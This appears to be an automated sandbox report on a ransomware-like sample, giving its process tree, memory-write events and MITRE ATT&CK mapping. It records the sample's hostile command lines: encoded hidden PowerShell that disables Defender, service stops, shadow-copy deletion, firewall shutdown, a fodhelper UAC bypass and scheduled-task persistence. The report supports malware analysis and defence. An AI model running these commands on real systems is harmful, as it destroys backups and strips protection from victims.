PID 5088 wrote to memory of 260	5088	chrome.exe	99
PID 5088 wrote to memory of 300	5088	chrome.exe	98
PID 5088 wrote to memory of 260	5088	chrome.exe	99
PID 3452 wrote to memory of 5760	3452	cakhiatvxla.cv_chrome.exe	100
PID 3452 wrote to memory of 5820	3452	cakhiatvxla.cv_chrome.exe	177
PID 3452 wrote to memory of 2140	3452	cakhiatvxla.cv_chrome.exe	104
PID 3452 wrote to memory of 1680	3452	cakhiatvxla.cv_chrome.exe	106
PID 3452 wrote to memory of 1268	3452	cakhiatvxla.cv_chrome.exe	108
PID 3452 wrote to memory of 672	3452	cakhiatvxla.cv_chrome.exe	178
PID 3452 wrote to memory of 4832	3452	cakhiatvxla.cv_chrome.exe	112
PID 3452 wrote to memory of 5912	3452	cakhiatvxla.cv_chrome.exe	114
PID 3452 wrote to memory of 4328	3452	cakhiatvxla.cv_chrome.exe	115
PID 3452 wrote to memory of 4504	3452	cakhiatvxla.cv_chrome.exe	117
PID 5912 wrote to memory of 2992	5912	fodhelper.exe	119
PID 3452 wrote to memory of 5124	3452	cakhiatvxla.cv_chrome.exe	120
PID 3452 wrote to memory of 3344	3452	cakhiatvxla.cv_chrome.exe	122
PID 3452 wrote to memory of 1112	3452	cakhiatvxla.cv_chrome.exe	162
PID 3452 wrote to memory of 1368	3452	cakhiatvxla.cv_chrome.exe	192
PID 3452 wrote to memory of 4752	3452	cakhiatvxla.cv_chrome.exe	186
PID 5088 wrote to memory of 5132	5088	chrome.exe	137
PID 5088 wrote to memory of 5556	5088	chrome.exe	138
PID 5088 wrote to memory of 5556	5088	chrome.exe	138
PID 5088 wrote to memory of 3152	5088	chrome.exe	139
PID 5088 wrote to memory of 3152	5088	chrome.exe	139
PID 5088 wrote to memory of 3200	5088	chrome.exe	141
PID 5088 wrote to memory of 3200	5088	chrome.exe	141
PID 3452 wrote to memory of 3404	3452	cakhiatvxla.cv_chrome.exe	142
PID 3452 wrote to memory of 5568	3452	cakhiatvxla.cv_chrome.exe	145
PID 3452 wrote to memory of 4148	3452	cakhiatvxla.cv_chrome.exe	147
PID 3452 wrote to memory of 1252	3452	cakhiatvxla.cv_chrome.exe	148
PID 3452 wrote to memory of 2728	3452	cakhiatvxla.cv_chrome.exe	150
PID 3452 wrote to memory of 2104	3452	cakhiatvxla.cv_chrome.exe	151
PID 3452 wrote to memory of 5372	3452	cakhiatvxla.cv_chrome.exe	152
PID 3452 wrote to memory of 4588	3452	cakhiatvxla.cv_chrome.exe	153
PID 3452 wrote to memory of 3496	3452	cakhiatvxla.cv_chrome.exe	155
PID 3452 wrote to memory of 1516	3452	cakhiatvxla.cv_chrome.exe	158
PID 3452 wrote to memory of 1112	3452	cakhiatvxla.cv_chrome.exe	162
PID 3452 wrote to memory of 872	3452	cakhiatvxla.cv_chrome.exe	163
PID 3452 wrote to memory of 3888	3452	cakhiatvxla.cv_chrome.exe	164
PID 3452 wrote to memory of 3020	3452	cakhiatvxla.cv_chrome.exe	165
PID 3452 wrote to memory of 5684	3452	cakhiatvxla.cv_chrome.exe	166
PID 3452 wrote to memory of 3876	3452	cakhiatvxla.cv_chrome.exe	196
PID 5568 wrote to memory of 4284	5568	cmd.exe	174
PID 5372 wrote to memory of 3116	5372	cmd.exe	175
PID 4588 wrote to memory of 2580	4588	cmd.exe	176
PID 3888 wrote to memory of 5820	3888	net.exe	177
PID 2104 wrote to memory of 672	2104	cmd.exe	178
PID 4148 wrote to memory of 4416	4148	cmd.exe	179
PID 672 wrote to memory of 324	672	net.exe	180
PID 2728 wrote to memory of 4384	2728	cmd.exe	181
PID 1252 wrote to memory of 4836	1252	cmd.exe	182
PID 5568 wrote to memory of 4772	5568	cmd.exe	183
PID 5088 wrote to memory of 2212	5088	chrome.exe	184
PID 5088 wrote to memory of 3548	5088	chrome.exe	185

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cakhiatvxla.cv_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\cakhiatvxla.cv_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3452
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://cakhiatvxla.cv
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffa6eb1c728,0x7ffa6eb1c734,0x7ffa6eb1c740
    3⤵
    PID:4888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1484,i,9002096075042917534,14936650064778742201,524288 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=2052 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1624,i,13902632466080960927,12709606282141823064,262144 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=1928 /prefetch:2
    3⤵
    PID:5804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2300,i,1694746838300379572,11928581457192427758,524288 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=2400 /prefetch:13
    3⤵
    PID:2412
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3136,i,15411972491865188304,10524905923297247517,2097152 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=3184 /prefetch:1
    3⤵
    PID:300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3144,i,2885274058550789895,968351418989826244,2097152 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=3304 /prefetch:1
    3⤵
    PID:260
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5400,i,4704601309956304359,17132669169987781862,524288 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=5228 /prefetch:14
    3⤵
    PID:5132
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5220,i,17149545095477695583,16131930552531658443,2097152 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:1
    3⤵
    PID:5556
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5216,i,7611499236605938662,9943511517581838583,2097152 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:1
    3⤵
    PID:3152
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5304,i,13482847288464761432,4405322958350359867,2097152 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=5220 /prefetch:1
    3⤵
    PID:3200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5556,i,10628922461071388733,14647102481111537584,2097152 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:1
    3⤵
    PID:2212
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5880,i,18333550189349883610,12451702509058257744,2097152 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:1
    3⤵
    PID:3548
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5728,i,2838945169181565929,5517164019202857091,2097152 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:1
    3⤵
    PID:4752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5732,i,61290511169028108,4868370604579387090,2097152 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:1
    3⤵
    PID:5964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5320,i,15275646885373850331,15467200490416366526,2097152 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=5524 /prefetch:1
    3⤵
    PID:3904
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5748,i,15296046190372971757,18397032702327487984,2097152 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=5824 /prefetch:1
    3⤵
    PID:1408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3328,i,9787802026324388096,13246035362629051764,524288 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=3172 /prefetch:14
    3⤵
    PID:1368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5544,i,16535696643015846615,13275967288832354331,524288 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=3308 /prefetch:14
    3⤵
    PID:3108
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3896,i,10628340193020777977,16046081934802046763,524288 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=3292 /prefetch:14
    3⤵
    PID:4464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3308,i,16592496364131605492,16351059486938628208,524288 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=3320 /prefetch:14
    3⤵
    PID:3876
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5868,i,7418491756237938381,4851745120031467797,524288 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:14
    3⤵
    PID:4788
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5184,i,4491227222145916655,1870436375465150522,524288 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:14
    3⤵
    PID:5152
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5308,i,10632241002896393418,18096415390127844897,524288 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:14
    3⤵
    PID:5964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5264,i,2222594791854907315,4138983162960327522,2097152 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=3372 /prefetch:1
    3⤵
    PID:4572
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=3416,i,1395540611605703648,5638146127184889218,2097152 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=3412 /prefetch:9
    3⤵
    PID:2460
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6088,i,10642999285272723733,864898118829927244,262144 --field-trial-handle=1932,i,10419465388876347697,11733289559770537129,262144 --variations-seed-version --mojo-platform-channel-handle=5328 /prefetch:10
    3⤵
    PID:1432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4776
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4928
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5760
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5820
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2140
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1680
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1268
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:672
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4832
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5912
- - C:\Users\Admin\AppData\Local\Temp\cakhiatvxla.cv_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\cakhiatvxla.cv_chrome.exe"
    3⤵
    PID:2992
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4328
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4504
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5124
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3344
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1112
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatvxla.cv_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1368
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatvxla.cv_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4752
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5568
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4284
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4416
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1252
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4836
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:4384
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:672
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:324
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5372
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3116
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4588
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:2580
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatvxla.cv_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3496
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1516
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1112
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:872
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3888
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5820
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3020
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5684
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3876

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5920

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4252

C:\Users\Admin\AppData\Local\Temp\cakhiatvxla.cv_chrome.exe
C:\Users\Admin\AppData\Local\Temp\cakhiatvxla.cv_chrome.exe
1⤵
PID:5944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:6136

C:\Users\Admin\AppData\Local\Temp\cakhiatvxla.cv_chrome.exe
C:\Users\Admin\AppData\Local\Temp\cakhiatvxla.cv_chrome.exe
1⤵
PID:1616

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

